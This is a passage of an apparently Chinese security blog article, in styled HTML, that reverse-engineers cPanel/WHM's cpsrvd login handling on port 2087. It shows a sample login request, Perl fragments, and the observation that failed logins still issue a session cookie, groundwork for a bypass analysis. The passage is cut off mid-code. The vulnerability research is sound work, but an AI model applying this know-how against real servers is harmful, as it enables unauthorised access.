229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.49166666666666664" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009134" src="https://wechat2rss.xlab.app/img-proxy/?k=64c883f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLmUukhrWvx8ghdsqBKEQBlXcvJbPibDOaMhafbT4RpmArldenIHR5ibKcXuzWnw7n2iceIOTLcnPOdPW3uAjyI7xSEx3Tt5AdyDEM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">进程与认证</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">2087</span></code><span leaf=""> 端口对应 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cPanel/WHM</span></code><span leaf=""> 后端管理服务，对应进程名为 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cpsrvd-dormant</span></code><span leaf=""> ，这是一个 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Perl</span></code><span leaf=""> 解释器嵌入的程序：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7546296296296297" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009130" src="https://wechat2rss.xlab.app/img-proxy/?k=e184432e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLkIBrktMIqNQIkoTZBrqUiaNnibBpqwdQjvLm4AbKJqNwGA3BPWiap6LmVaEY5eUzFJiaRziatHDicOiaCnYX6JCnvnChQyhgIhYmXL6I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">继续分析发现 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cpsrvd-dormant</span></code><span leaf=""> 只是一个 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">launcher</span></code><span leaf="">，实际处理逻辑位于 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cpsrvd</span></code><span leaf=""> 之中。在服务器的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">perl</span></code><span leaf=""> 脚本中并没有找到核心认证函数，逆向分析 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cpsrvd</span></code><span leaf=""> 发现多个认证相关函数，比如 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">handle_auth</span></code><span leaf=""> 、 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">handle_one_connection</span></code><span leaf=""> 等，这些函数均编译在二进制内部，使用静态反编译无法获取处理源码。为了获取实际处理代码，可以采用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">GDB attach</span></code><span leaf=""> 到运行中的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cpsrvd</span></code><span leaf=""> 子进程，在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Perl</span></code><span leaf=""> 解释器运行时完成源码还原。这个过程让 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 来辅助分析效率很高：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.775" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009132" src="https://wechat2rss.xlab.app/img-proxy/?k=26ad2c02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLmyhvtEBJFCGtPF5OLP5RVM1XwNtleSbf3yRZKqSdYVChb3Ut1Ls6k3pCgsTDicbbCibtouheA4jG08JaicKokfxfdP7y1yicbxUKI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">获取源码后，我们才能真正完整弄明白整个认证过程。</span></p><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);border-image: initial;margin: 2em 8px 0.75em 0px;padding: 0px 0px 0px 12px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 18px;font-weight: bold;color: rgb(63, 63, 63);border-radius: 6px;line-height: 2.4em;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">form 表单认证</span></h3><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">form</span></code><span leaf=""> 表单认证数据包如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code data-language-pending="http" data-raw-code="POST /login/?login_only=1 HTTP/1.1
Host: 127.0.0.1:2087

user=test&amp;pass=test&amp;goto_uri=%2F" data-show-line-number="false" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span leaf="">POST /login/?login_only=1 HTTP/1.1</span><span leaf=""><br/></span><span leaf="">Host: 127.0.0.1:2087</span><span leaf=""><br/></span><span leaf="">user=test&amp;pass=test&amp;goto_uri=%2F</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">处理函数为 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">handle_form_login</span></code><span leaf=""> ，首先检查请求路径是否为登录 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">URL</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $document</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $server_obj</span></span><span leaf="">-&gt;request-&gt;get_document;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">if</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$document</span></span><span leaf=""> =~</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> //u</span></span><span leaf="">) {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">   # 匹配 /login </span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""><br/></span><span leaf="">    # todo</span></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">进入 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">form login</span></code><span leaf=""> 分支，解析 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">POST</span></code><span leaf=""> 请求 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">body</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $login_form_ref</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $server_obj</span></span><span leaf="">-&gt;timed_parseform(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">60</span></span><span leaf="">);</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">调用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Cpanel::Form::parseform</span></code><span leaf=""> 解析表单数据。密码验证失败会调用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">badpass</span></code><span leaf=""> 函数，在返回 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">401</span></code><span leaf=""> 之前仍然会创建 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">session</span></code><span leaf=""> 并返回对应的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Cookie</span></code><span leaf=""> 值 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">whostmgrsession</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, 